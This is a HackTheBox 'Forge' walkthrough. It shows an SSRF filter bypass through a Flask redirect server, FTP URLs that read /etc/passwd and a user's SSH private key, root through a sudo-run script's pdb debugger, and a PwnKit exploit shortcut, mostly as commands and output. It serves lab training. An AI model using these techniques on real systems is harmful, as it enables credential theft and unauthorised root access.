CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Forge

linux ssrf gobuster sudo pdb

Forge is a Linux-based machine authored by NoobHacker9999, with an average rating of 4.5 stars.

// Lessons Learned

  1. redirection through an allowed host should be amongst the first SSRF bypass techniques tested, before enumerating different encodings / obfuscations.
  2. when conventional content discovery fails (e.g checking urls), try vhost discovery (checking hostnames).

// Recon

┌──(kali㉿kali)-[~/HTB/forge]
└─$ nmap -A forge.htb  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 08:42 AEST
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.026s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds

Nmap reveals the target is likely running Ubuntu Linux, and hosts a minimal set of services:

Accessing the site via browser returns a basic image gallery:

The response headers don’t offer any additional details about server-side technologies in use, and the HTML doesn’t appear to belong to any kind of off-the-shell CMS product. There is a single link to upload an image, which offers the choice of uploading a local file, or via URL:

Uploading a local .jpg file is straightforward, and returns a link to the uploaded image in an /uploads folder:

However this doesn’t result in the new image appearing in the main page gallery. Inspecting the HTML of that page reveals that all images are being loaded from a /statc/images path, so perhaps there is no connection between the two pages. After several minutes, the uploaded image is no longer available, suggesting some kind of scheduled cleanup or management of uploaded files has occurred.

Turning to the URL-based uploading form, HTB machines are traditionally configured to not allow connectivity outside of the VPN, and this one is no different. When supplying a publicly accessible JPG url, (e.g. https://www.example.com/image.jpg) the page times out. If we instead supply an image url that should be reachable (e.g one from the target’s own gallery - http://forge.htb/static/images/image1.jpg) an error message is immediately returned:

The mention of a “blacklisted address” strongly indicates the presence of a security mechanism, designed to prevent abuse. In this case, it’s likely guarding against server-side request forgery (SSRF). Simply put, SSRF is a class of attack whereby a target is tricked into making requests to a host it would not normally access. This may include machines on the target’s local network (which can allow for bypassing network-based firewalling and other restrictions) or, as is likely the case here, the host itself. If a bypass can be found that will evade the filter and allow a self-referencing request to pass through, then other resources on the host might be accessible. There are many known techniques to bypass blacklist filtering, for example instead of specifying the host as forge.htb we could try:

Another method involves using an allowed address (in this case, our attack box’s IP 10.10.17.230) and implementing HTTP redirects back to the target, which can achieve the same outcome. A simple Flask webserver can be setup on the attackbox to respond to any request with a 301 redirect back to the target itself:

from flask import Flask
from flask import Response

app = Flask(__name__)

@app.route('/', defaults={'path':''})
@app.route('/<path:path>')
def index(path):
    return Response(status=301, headers={'Location':'http://forge.htb/static/images/image1.jpg'})

if __name__ == '__main__':
    app.run(debug=True, host='10.10.17.230', port=80)

With the flask server running, entering the url http://10.10.17.230/anything returns a redirect to http://forge.htb/static/images/image1.jpg, which was previously intercepted by the blacklist filter but now succeeds:

The return URL now links to the first image from the static gallery, confirming the blacklist has been successfully bypassed.

// Initial Foothold

The next logical step is to use the bypass to request content that may help gain a foothold on the target. Running feroxbuster on the target is a good way to look for additional content:

┌──(kali㉿kali)-[~/HTB/forge]
└─$ feroxbuster -u http://forge.htb -w ~/github/danielmiessler/SecLists/Discovery/Web-Content/raft-large-directories.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://forge.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /home/kali/github/danielmiessler/SecLists/Discovery/Web-Content/raft-large-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        4l       24w      224c http://forge.htb/uploads => http://forge.htb/uploads/
200      GET       72l       92w     2050c http://forge.htb/
301      GET        9l       28w      307c http://forge.htb/static => http://forge.htb/static/
200      GET       33l       58w      929c http://forge.htb/upload
403      GET        9l       28w      274c http://forge.htb/server-status
[####################] - 4m    249128/249128  0s      found:5       errors:16322  
[####################] - 4m     62282/62282   231/s   http://forge.htb 
[####################] - 4m     62282/62282   230/s   http://forge.htb/uploads 
[####################] - 4m     62282/62282   231/s   http://forge.htb/ 
[####################] - 0s     62282/62282   0/s     http://forge.htb/static => Directory listing (add -e to scan)

There is only one new URL discovered, /server-status. Trying to access it directly results in a 403 forbidden error, but if we adjust the flask webserver to request this URL in the redirect:

resp = Response(status=301, headers={'Location':'http://forge.htb/server-status'})

And then “upload” a new image, the URL given back contains the /server-status content:

This status page indicates the target is running a Python-based webserver via mod_wsgi 4.6.8, a combination that can sometimes be associated with the Django Framework. Unfortunately, there aren’t any further indications of additional urls that might be available (the list of recent requests simply reflects our use of feroxbuster). Guessing some possible urls (e.g. /admin, /home etc.) returns no results, but it’s possible that content lives under a different hostname. While feroxbuster is yet to add support for vhost enumeration, gobuster does support this mode:

┌──(kali㉿kali)-[~/HTB/forge]
└─$ gobuster vhost -u forge.htb -w ~/github/danielmiessler/SecLists/Discovery/DNS/namelist.txt | grep -v 'Status: 302'
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://forge.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /home/kali/github/danielmiessler/SecLists/Discovery/DNS/namelist.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s                                                                                        
===============================================================
2022/07/18 10:27:01 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.forge.htb (Status: 200) [Size: 27]
...

Only one alternate vhost returns a status 200 (the grep -v 'Status: 302' filter hides all vhosts that simply redirect to forge.htb). If the flask server is adjusted to redirect to this url:

resp = Response(status=301, headers={'Location':'http://admin.forge.htb'})

The response is internally-accessible admin page:

The /announcements link in the top-right corner can be retrieved in the same way, and returns the following content:

The three points combined provide the information necessary to craft a request that will access the internal FTP server:

resp = Response(status=301, headers={'Location':'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@admin.forge.htb/'})

Like HTTP, FTP permits credentials to be supplied within the URL. Adding a trailing slash to the end of the URL requests the server to provide a directory listing of whichever directory is default for the specified user, which it does (raw HTTP response shown):

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2022 22:39:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=GSHYrcesa9pDes9zgGhN
Content-Length: 126
Last-Modified: Mon, 18 Jul 2022 22:38:56 GMT
Cache-Control: no-cache
Connection: close
Content-Type: image/jpg

drwxr-xr-x    3 1000     1000         4096 Aug 04  2021 snap
-rw-r-----    1 0        1000           33 Jul 18 22:00 user.txt

Adding user.txt to the requested URL retrieves the user flag:

resp = Response(status=301, headers={'Location':'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@admin.forge.htb/user.txt'})

55946***************************

This is good progress, but we still don’t have the ability to execute commands on the machine. While it’s possible we now have the credentials of a user with ssh access, trying to login with them confirms that only key-based authentication is available:

┌──(kali㉿kali)-[~/HTB/forge]
└─$ ssh user@forge.htb -v
OpenSSH_9.0p1 Debian-1, OpenSSL 1.1.1n  15 Mar 2022
debug1: Reading configuration data /etc/ssh/ssh_config
...
debug1: Next authentication method: publickey
debug1: Trying private key: /home/kali/.ssh/id_rsa
debug1: Trying private key: /home/kali/.ssh/id_ecdsa
debug1: Trying private key: /home/kali/.ssh/id_ecdsa_sk
debug1: Trying private key: /home/kali/.ssh/id_ed25519
debug1: Trying private key: /home/kali/.ssh/id_ed25519_sk
debug1: Trying private key: /home/kali/.ssh/id_xmss
debug1: Trying private key: /home/kali/.ssh/id_dsa
debug1: No more authentication methods to try.
user@forge.htb: Permission denied (publickey).
debug1: Authentications that can continue: publickey

This is where some deeper knowledge of how FTP works comes in handy. The path specified in a URL is effectively a series of server-side commands, with each directory corresponding to a CWD (change working directory) directive. For example, ftp://user:pass@host/a/b/c directs the server to login with user:pass, change to directory a, then change to directory b, and finally retrieve the file c. While the path is by default assumed to be relative to the starting directory, this can be easily overridden by use of the url-encoded / (%2F) to start from the root directory. With this knowledge, changing the redirect to:

resp = Response(status=301, headers={'Location':'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@admin.forge.htb/%2Fetc/passwd'})

returns the contents of /etc/passwd:

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2022 22:49:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=HmX9HB84oxQI6ZzsaVOb
Content-Length: 1882
Last-Modified: Mon, 18 Jul 2022 22:49:38 GMT
Cache-Control: no-cache
Connection: close
Content-Type: image/jpg

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
user:x:1000:1000:NoobHacker:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ftp:x:113:118:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

The only user present besides root that has a usable shell assigned is user, and since we already know that ssh is enabled, the user’s private key at /home/user/.ssh/id_rsa is an obvious target:

resp = Response(status=301, headers={'Location':'http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@admin.forge.htb/%2Fhome/user/.ssh/id_rsa'})

HTTP/1.1 200 OK
Date: Mon, 18 Jul 2022 23:01:51 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=VDMSpbU1AUZjCSQoEwpN
Content-Length: 2590
Last-Modified: Mon, 18 Jul 2022 23:01:42 GMT
Cache-Control: no-cache
Connection: close
Content-Type: image/jpg

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
rnxHouv4/l1pO2njPf5GbjVHAsMwJDXmDNjaqZfO9OYC7K7hr7FV6xlUWThwcKo0hIOVuE
7Jh1d+jfpDYYXqON5r6DzODI5WMwLKl9n5rbtFko3xaLewkHYTE2YY3uvVppxsnCvJ/6uk
r6p7bzcRygYrTyEAWg5gORfsqhC3HaoOxXiXgGzTWyXtf2o4zmNhstfdgWWBpEfbgFgZ3D
...
-----END OPENSSH PRIVATE KEY-----

This key can now be used to ssh into the target without knowing the password:

┌──(kali㉿kali)-[~/HTB/forge]
└─$ ssh user@forge.htb -i ./user.key 
The authenticity of host 'forge.htb (10.10.11.111)' can't be established.
ED25519 key fingerprint is SHA256:ezqn5XF0Y3fAiyCDw46VNabU1GKFK0kgYALpeaUmr+o.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'forge.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
user@forge:~$

// Privilege Escalation

The first thing we can confirm upon login is that the ftp credentials discovered earlier are indeed the same for ssh (if the current password specified was incorrect, the New password: prompt would not have appeared):

user@forge:~$ passwd
Changing password for user.
Current password: 
New password:

Starting with manual enumeration of some common privesc vectors, we learn that the compromised user is able to run a specific python script as root:

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

The remote-manage.py script allows execution of several system / diagnostics:

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

The script itself is owned by root, and we don’t have write permission to it, so editing it (to spawn a root shell for example) is out of the question. Running the script creates a local socket on a random port:

user@forge:~$ sudo python3 /opt/remote-manage.py
Listening on localhost:22702

which we can connect to from another ssh session using nc:

user@forge:~$ nc localhost 22702
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets                                  
[4] Quit

The output of each option is nothing remarkable, just typical system diagnostic data retrieved with root privileges. The script does not appear vulnerable to any kind of buffer overflow, and trying to connect to it in novel ways (e.g through an uploaded nc.traditional binary that supports -e filename execution) doesn’t yield anything either:

user@forge:~$ ./nc.traditional -e /bin/bash localhost 9591
<no response>

The script does however make use of pdb (the Python Debugger), a source code debugging tool. If the program throws an exception, it doesn’t exit, but rather provides an interactive python environment. Just like the script itself, this debugger runs as root via sudo, which can can be exploited to obtain a root shell. The easiest way to trigger an exception is to provide a non-numeric value at the prompt, which will cause the int() function to fail:

# in the client session:
What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
abcdefg (any non-numeric text will do)

# in the listener / sudo script:
invalid literal for int() with base 10: b'abcdef'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)

Now in the listener session, we can execute any python code as root, including spawning a new bash shell:

(Pdb) import os; os.system("/bin/bash");
root@forge:/home/user# whoami
root

From here, we can retrieve the root flag from the usual location:

root@forge:/home/user# cd /root
root@forge:~# cat root.txt
a641a***************************

// Modern-Day Shortcut

The system is vulnerable to the pwnkit exploit published in early 2022. All that is required is to upload PoC code, compile and run it, to obtain a root shell:

┌──(kali㉿kali)-[~/HTB/forge]  
└─$ rsync -Pav -e "ssh -i ~/HTB/forge/user.key" ~/github/luijait/PwnKit-Exploit user@forge.htb:~

user@forge:~/PwnKit-Exploit$ make
cc -Wall    exploit.c   -o exploit
user@forge:~/PwnKit-Exploit$ ls
b64payloadgen.sh  exploit  exploit.c  LICENSE  Makefile  pwnkit64decoded.c  README.md
user@forge:~/PwnKit-Exploit$ whoami
user
user@forge:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: user
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@forge:/home/user/PwnKit-Exploit# whoami
root